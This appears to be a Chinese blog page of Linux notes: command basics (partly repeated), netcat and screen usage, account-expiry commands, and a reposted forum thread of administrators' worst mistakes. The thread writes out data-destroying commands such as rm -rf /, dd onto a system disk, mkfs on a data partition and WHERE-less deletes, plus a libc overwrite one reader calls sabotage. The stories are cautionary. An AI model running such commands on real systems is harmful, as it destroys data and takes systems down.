       eg: grep success *   /*查找当前目录下面所有文件里面含有success字符的文件

      14.kill 可以杀死某个正在进行或者已经是dest状态的进程
       eg; ps ax

      15.passwd 可以设置口令

      16.history 用户用过的命令
       eg: history //可以显示用户过去使用的命令

      17.!! 执行最近一次的命令

      18.mkdir命令
       eg: mkdir netseek //创建netseek这个目录

      19.tar 解压命令
       eg: tar -zxvf nmap-3.45.tgz //将这个解压到nmap-3.45这个目录里

      20.finger 可以让使用者查询一些其他使用者的资料
       eg: finger //查看所用用户的使用资料
       finger root //查看root的资料

     

    http://www.saus.cn/technic/linux.htm

    1.man 对你熟悉或不熟悉的命令提供帮助解释
       eg:man ls 就可以查看ls相关的用法
       注:按q键或者ctrl c退出,在linux下可以使用ctrl c终止当前程序运行

      2.ls 查看目录或者文件的属*,列举出任一目录下面的文件
       eg: ls /usr/man
       ls -l
       a.d表示目录(directory),如果是一个"-"表示是文件,如果是l则表示是一个连接文件(link)
       b.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x).

      3.cp 拷贝文件
       eg: cp filename1 filename2 //把filename1拷贝成filename2
       cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c

      4.rm 删除文件和目录
       eg: rm 1.c //将1.c这个文件删除

      5.mv 移走目录或者改文件名
       eg: mv filename1 filename2 //将filename1 改名为filename2
       mv qib.tgz ../qib.tgz //移到上一级目录

      6.cd 改变当前目录 pwd 查看当前所在目录完整路径 字串8
       eg: pwd //查看当前所在目录路径
       cd netseek //进入netseek这个目录
       cd //退出当前目录

      7.cat,more命令
       将某个文件的内容显示出来.两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示
       eg; cat>1.c //就可以把代码粘帖到1.c文件里,按ctrl d 保存代码。
       cat 1.c 或more 1.c //都可以查看里面的内容。
       gcc -o 1 1.c //将1.c编译成.exe文件,我们可以用此命编译出代码

      8.chmod 命令 权限修改 用法:chmod 一位8进制数 filename
       eg: chmod u x filenmame //只想给自己运行,别人只能读
       //u表示文件主人, g 表示文件文件所在组. o 表示其他人 ;r 表可读,w 表可写,x 表可以运行
       chmod g x filename //同组的人来执行

      9. clear,date命令

    clear:清屏,相当与DOS下的cls;date:显示当前时间.

      10.mount 加载一个硬件设备
       用法:mount [参数] 要加载的设备 载入点
       eg: mount /dev/cdrom
       cd /mnt/cdrom //进入光盘目录

      11.su 在不退出登陆的情况下,切换到另外一个人的身份
       用法: su -l 用户名(如果用户名缺省,则切换到root状态)
       eg:su -l netseek (切换到netseek这个用户,将提示输入密码)

      12.whoami,whereis,which,id
       //whoami:确认自己身份.
       //whereis:查询命令所在目录以及帮助文档所在目录.
       //which:查询该命令所在目录(类似whereis)
       //id:打印出自己的UID以及GID.(UID:用户身份唯一标识.GID:用户组身份唯一标识.每一个用户只能有一个唯一的UID和 GID)
       eg: whoami //显示你自已登陆的用户名
       whereis bin 显示bin所在的目录, 将显示为:/usr/local/bin
       which bin

      13. grep,find
       grep:文本内容搜索;find:文件或者目录名以及权限属主等匹配搜索
       eg: grep success *   /*查找当前目录下面所有文件里面含有success字符的文件

      14.kill 可以杀死某个正在进行或者已经是dest状态的进程
       eg; ps ax

      15.passwd 可以设置口令

      16.history 用户用过的命令
       eg: history //可以显示用户过去使用的命令

      17.!! 执行最近一次的命令

      18.mkdir命令
       eg: mkdir netseek //创建netseek这个目录

      19.tar 解压命令
       eg: tar -zxvf nmap-3.45.tgz //将这个解压到nmap-3.45这个目录里

      20.finger 可以让使用者查询一些其他使用者的资料
       eg: finger //查看所用用户的使用资料
       finger root //查看root的资料

     

    linux nc

    linux 下nc 命令的使用

    http://samyubw.blog.51cto.com/978243/555247

    Linux 指令篇:网络通讯--nc

    http://linux.chinaitlab.com/command/723696.html

    Linux nc (netcat) 详解

    http://blog.csdn.net/michael493439861/article/details/7445454

    功能说明:设置路由器。
    语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
    补充说明:执行本指令可设置路由器的相关参数。
    参  数:
      -g<网关>   设置路由器跃程通信网关,最丢哦可设置8个。
      -G<指向器数目>   设置来源路由指向器,其数值为4的倍数。
      -h   在线帮助。
      -i<延迟秒数>   设置时间间隔,以便传送信息及扫描通信端口。
      -l   使用监听模式,管控传入的资料。
      -n   直接使用IP地址,而不通过域名服务器。
      -o<输出文件>   指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
      -p<通信端口>   设置本地主机使用的通信端口。
      -r   乱数指定本地与远端主机的通信端口。
      -s<来源位址>   设置本地主机送出数据包的IP地址。
      -u   使用UDP传输协议。
      -v   显示指令执行过程。
      -w<超时秒数>   设置等待连线的时间。
      -z   使用0输入/输出模式,只在扫描通信端口时使用。

    telnet 端口号探测 和 nc 端口号探测

    [root@testsamapp2 ~]# nc -z 192.168.157.87 21
    Connection to 192.168.157.87 21 port [tcp/ftp] succeeded!
    [root@testsamapp2 ~]# nc -z 192.168.157.87 3389
    Connection to 192.168.157.87 3389 port [tcp/ms-wbt-server] succeeded!

     

    linux command screen / screen简介(Linux中让程序在后台继续运行)

    http://linux.chinaitlab.com/command/723864.html 

    http://luckykapok918.blog.163.com/blog/static/20586504320123275833571/

    功能说明:多重视窗管理程序。

    语  法:screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s <shell>][-S <作业名称>]

    补充说明:screen为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用telnet登入主机或是使用老式的终端机时,才有可能用到screen程序。

    参  数:
     -A  将所有的视窗都调整为目前终端机的大小。 
     -d<作业名称>  将指定的screen作业离线。 
     -h<行数>  指定视窗的缓冲区行数。 
     -m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。 
     -r<作业名称>  恢复离线的screen作业。 
     -R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。 
     -s<shell>  指定建立新视窗时,所要执行的shell。 
     -S<作业名称>  指定screen作业的名称。 
     -v  显示版本信息。 
     -x  恢复之前离线的screen作业。 
     -ls或--list  显示目前所有的screen作业。 
     -wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。

     

    在实际工作中,我们ssh等到远程的Linux上,运行一个程序,但是当我们关闭掉我们的连接终端断开ssh后,刚才运行着的程序也会自动被中断结束。当ssh连接断开后,如何让我们的程序继续在后台运行呢?下面介绍我常使用的两个方法。

    screen让程序后台执行--一个强大的工具
    简 单来说,Screen是一个可以在多个进程之间多路复用一个物理终端的窗口管理器。Screen中有会话的概念,用户可以在一个screen会话中创建多 个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。在screen中创建一个新的窗口有这样几种方 式:
    1.直接在命令行键入screen命令
    [root@localhost ~]# screen
    Screen将创建一个执行shell的全屏窗口。你可以执行任意shell程序,就像在ssh窗口中那样。在该窗口中键入exit退出该窗口,如果这是该screen会话的唯一窗口,该screen会话退出,否则screen自动切换到前一个窗口。
    2.Screen命令后跟你要执行的程序。
    [root@localhost ~]# screen vi test.c
    Screen创建一个执行vi test.c的单窗口会话,退出vi将退出该窗口/会话。
    3.以上两种方式都创建新的screen会话。我们还可以在一个已有screen会话中创建新的窗口。在当前screen窗口中键入C-a c,即Ctrl键+a键,之后再按下c键,screen 在该会话内生成一个新的窗口并切换到该窗口。
    给 screen发送命令使用了特殊的键组合C-a(Ctrl+a)。这是因为我们在键盘上键入的信息是直接发送给当前screen窗口,必须用其他方式向 screen窗口管理器发出命令,默认情况下,screen接收以C-a开始的命令。这种命令形式在screen中叫做键绑定(key binding),C-a叫做命令字符(command character)。
    可以通过C-a ?来查看所有的键绑定,我常用的键绑定有:
    C-a ?    显示所有键绑定信息
    C-a d    暂时断开screen会话
    C-a k    杀掉当前窗口
    C-a w    显示所有窗口列表

    我的通常的真实使用场景如下:
    ssh登录我的Linux服务器,screen ./test.sh 运行一个shell脚本,按键C-a d(先按Ctrl+a 再按d键)暂时断开screen会话;然后干别的事情(比如,散散步/打打乒乓球)去了(可能ssh连接已经被断开)。
    过一会儿,回来重新登录,然后
    screen -ls  #显示所有的 screen sessions (C-a d后的session为detached状态)
    screen -r [keyword]  #找到我想要 screen session 恢复回来 (捡回来)
    若 screen -ls  有 Attached sessions, 如果想要使用它,可以这样来做
    screen -d [keyword]  #强制 detach,以便用screen -r 「接手」过来
    PS: screen功能很强大的,我通常也就使用了上面的基本功能。更多的,请看参考资料或者man screen

    参考资料:
    http://www.21andy.com/blog/20071121/677.html
    http://www.ibm.com/developerworks/cn/linux/l-cn-screen/
    http://blogold.chinaunix.net/u1/37553/showart_341863.html

     

    写下你职业生涯中最难以忘怀的误操作。。

    http://www.dangkai.com/ArticlePage/Article59549.htm

    http://bbs.chinaunix.net/thread-2076933-1-1.html

    Seker
    一次删除用户时,去 /home/$USER 看了下,没任何用户自建文件
    于是 userdel -rf USERNAME
    回车后,没见出现 shell#
    脑子瞬间空白~~手去按CTRL+C
    已经晚了,,,
    cat /etc/passwd 用户的HOME被改过。。。
    还好有备份。。但也损失了部分数据。。。
    从此,再也不敢用 userdel -rf

    loesprite
    我写了个脚本批量修改十几台服务器的eth0:1,结果在mv命令忘记加-i的参数,结果破坏了oracle集群,关键服务停止近3个小时……
    批注:脚本一定要多测试

    skylove
    ghost用得太多。。。有次在备份资料的时候,想偷懒用ghost搞定(win平台,非热备份)。。。结果。。。结果。。。两块硬盘太象了。。。
    批注:这种傻事我也干过,幸好是自己的PC

    kiever
    新到公司不久,本来打算将IDC一台闲置的服务器扛回去,就按照标签上的IP地址找到后发现服务器无法登陆,问了其他人也没有密码,就直接拔了电源。
    结果不到5分钟,接到上头电话,关键服务器无法访问。
    最后才搞明白,服务器上的IP标签贴错了,我停了不该停的服务器。那个郁闷啊!!!
    批注:所以,配置资料的整理很重要

    lasama
    在搭建一个邮件系统的测试环境时,由于邮件系统的管理系统的URL使用的是绝对路径而非相对路径(托管多个域),然后我在测试环上想登陆后台管理一下,结果直接登陆到在线系统上去了,点点鼠标,几百个用户就被我delete掉了..........直到偶然抬头一看IE的地址栏,即时血液倒流............

    niao5929
    在SYBASE数据库中使用DELETE命令,跟错了条件,删除了很多有用记录,好在上传的记录被及时导回,要不然就惨了

    C.J
    编了两天两夜的 linux (第一次lfs), 做了个tar后, 删除原来的文件,发现tar解开出错。。。
    批注:对于做lfs这样的事,打击是太大了

    donalxm
    就前几天,rm -rf *,按ctrl+C的时候已经迟了,敲入任何命令都返回 Command notfound.幸亏之前备份了一些资料,/etc/fstab自动mount另一块硬盘(win2000,备份的服务器)的资料只是只读,要不然要多吐一升血

    xcrossbow
    从年前使用dd时覆盖掉mbr中认识了sysrescue中的gpart救星!
    呵呵!
    07年底,想把一个img写到优盘时,用了如下糟糕的命令
    dd if=./xxx.img of=/dev/sda
    由于一直记得我的Thinkpad T43是并口硬盘,因该识别为hda,自以为第一个优盘是sda了,打完后重启才意识到问题!

    幸亏了解并用过sysrecue盘,参考以前看的linux server hack2中的使用gpart恢复分区一节,找到了数据分区,救出了数据,好悬!

    一点经验:
    1 、 dd 命令 带of=xxx时,一定要神智清楚,工作情绪最好时用 批注:这个真的很重要
    2、sysrescue救援盘和oreilly 的linux server hack I & II建议您备一份,真的可以救命的欧!

    vermouth
    似乎大多数都是平时权限过大的问题,要养成不到万不得已不用root的习惯!

    highmag
    1. ghost disk to disk for clone windows 2000 server, but src anddst...
    2. path at /, run rm *lib -rf

    simbalwd
    SCOUnix系统上,为了增加一个文件系统,结果用divvy把有用分区上的文件系统给一个一个删除掉,最后还自信满满的install,结果不一会儿就满屏的字符,系统自动关机了。导致生产系统停止服务三天,还好不是关键应用。找了以前的备份,花了整整一个礼拜的时间才把丢掉的数据给补回来,那段时间看到我们做业务的,头都抬8起来。

    itxiaofei
    删除某变量路径下的目录,结果此变量为空
    rm -rf $abc 实际就变成了 rm -rf /

    从这以后,rm要带r都必须先确认目录,变量都必须判断一次
    批注:我的一个脚本也干过同样的傻事

    sanyork
    前年夏天管一个小的机房,机房里面有四个机架二十多台服务器,安装了两个空调,一个1.5匹的和一个5匹的,白天上班机房有中央空调,为了省电,白天只开1.5匹的,下班的时候忘记了开那个5匹的空调,结果1.5匹的那个空调由于负荷太大罢*工了,后来机房里所有的服务器全部死机了,打开机房,里面温度有六十多度,不过那些IBM的服务器硬件质量还不错,所有的机器都发出报警声,没有造成硬件损坏,重新启动后就好了。
    批注:遇到过同样的事,拿着纸箱扇风给交换机降温

    ShadowStar
    本来服务器使用bond连接到的switch,手欠改为bridge了。
    改完就往机房跑,半路上接到电话,服务器区全部断网了。
    批注:真的是手欠

    yuanchuang
    误操作到是有,但还没到难以忘怀的地步。
    那时,一个版本刚编码完,进行单元测试,大家都需要测试,都挺忙,那时也不知脑子中在搞啥,在一台Solaris上执行rm -rf/,我还奇怪为啥还有确认?这事没给我留下太深的印象,所以细节都忘了。

    verysnap
    本来只是想编译个程序的……
    $make love
    donot know how to make love,stop.
    批注:这个是来逗乐的

    Dalamar
    经常在十几台机器之间来回切换,有次rm -rf ./* 清个文件夹,结果执行完发现rm到其他机器上去了....

    从此以后执行重要命令之前先ifconfig看下ip
    批注:在错误的目标机器上执行命令的傻事也干过,幸好没什么后果

    pnshe
    有次在虚拟机做测试,错把测试数据库当成虚拟机init 0,同事马上报服务器宕,服务器在IDC机房,我哭啊。

    Dalamar
    还有次,刚用Oracle不久. 开发服务器磁盘满了,然后同事去查全部.log文件.
    找到三个redo1/2/3.log文件,问我能不能删.
    我也没注意,说删吧删吧. 结果就把数据库搞挂了....

    tech_linux
    工作第一年,删除数据库表内数据. where条件后是ID=, 结果删到最后一个时走神, 没写id=,直接写了个数.三秒钟,七百多万条数据被我删了. 当时全脑空白,后听同事说我脸色惨白!! 恢复一夜,还是丢失部分数据,关键服务,核心数据库.
    批注:某次在MySQL下delete数据,回滚刚才输入的命令修改where条件,诸如name=aaaand id=1,本来计划用退格删除1换个其他的,网络突然出现问题,手欠,多按了好几下退格,还按了回车,网络正常了一看,正好把andid=1退掉,数据删了一堆,幸好有备份!

    xxyyy
    一次工程实施,一个超市开业,经过一个多月的数据初始化,好不容易把所有商品都弄好了,离开门只有5分钟了,超市门口庆典已经开始了,聚集了很多顾客等着开门呢,我突然接到他们超市的人说有一个商品的价格弄错了,要我手工修改数据库改过来,我就照做了,但是我写的update语句忘了写where条件了,执行后我发现执行的很慢,十几万条数据啊,所有的商品的价格都已一样的了,此时我足足愣了2分钟,一言不发,一身冷汗。我赶紧打电话给他们经理说能否晚开门5分钟我恢复备份数据库,他们不答应晚开门,但可以限制10分钟后才让收银台收款,我才终于将心放到肚子里了。
    8年过去了,现在想起来都有些怕,万一没有数据库备份,我如何负责?我如何能负责得起啊!!!!!

    haterw
    scp libc-2.6.so xxx@yyy:/tmp
    mv /tmp/libc-2.6.so /lib
    ln -sf libc-2.6.so libc.so.6
    批注:这是教人搞破坏

    freett
    基本浏览一下上面所有的
    得出一教训
    备份 备份 再备份!!!
    能不用root 尽量不用root
    批注:完全同意!

    bigbomb
    linux+mysql的虚拟主机

    mysql的用户表中执行了
    delete from user;
    忘记加where条件,结果把所有用户信息删掉,还好搞IT的人都很宽容,尽管电话打爆,可没有一人投诉,至此以后得出一个教训--“做什么都要小心,改什么都要做备份“

    zhangxiangod
    修复一个硬盘 本来是fsck.ext2 /dev/hdb1 心不在赝 打成了mkfs.ext2 /dev/hdb1结果就不用说了

    flashkkk
    我最无辜的一次:
    rm *.txt ----却变成了rm * .txt 。就多了一个空格阿!!!

    cai_bird
    1、电信原始话单数据,rm *.tmp,写成了rm * tmp,靠,这么rm的这么慢,ls一看,几十G数据没了。
    2、sybase数据库,单步提交,update一用户资料表没带where,回车后脑子一片空白,敲了几个rollback,旁边看着的老大说,rollback没用的,准备通宵吧。

    批注:肯定用的是UNIX,Linux root用户的rm是rm-i的alias,当然,象我这样的猪头用rm从来是rm -rf的,恶劣的习惯! 

     

    延长loguser用户登陆失效时间,增加1年有效使用期限

    [root@sctssitweb01 ~]# chage -M 365 loguser 

    查看过期情况  

    chage -l username  

    修改过期日期  

    usermod -e 2010-3-25 username  

    或  

    chage -E 2010-3-25 username  

    linux常用+经典命令(持续更新)

    http://www.iteye.com/topic/482236

      

      

    end

  • 相关阅读:
    CVE-2014-6271 Shellshock 破壳漏洞 复现
    0ctf-ezdoor-复现分析
    phpinfo中敏感信息记录
    未授权访问总结学习
    关于PHP内部类的一些总结学习
    PHP反序列化总结
    SSRF和XSS-filter_var(), preg_match() 和 parse_url()绕过学习
    Java14:你需要知道的新特性
    结构型设计模式
    项目总结
  • 原文地址:https://www.cnblogs.com/lindows/p/14390633.html
Copyright © 2020-2023  润新知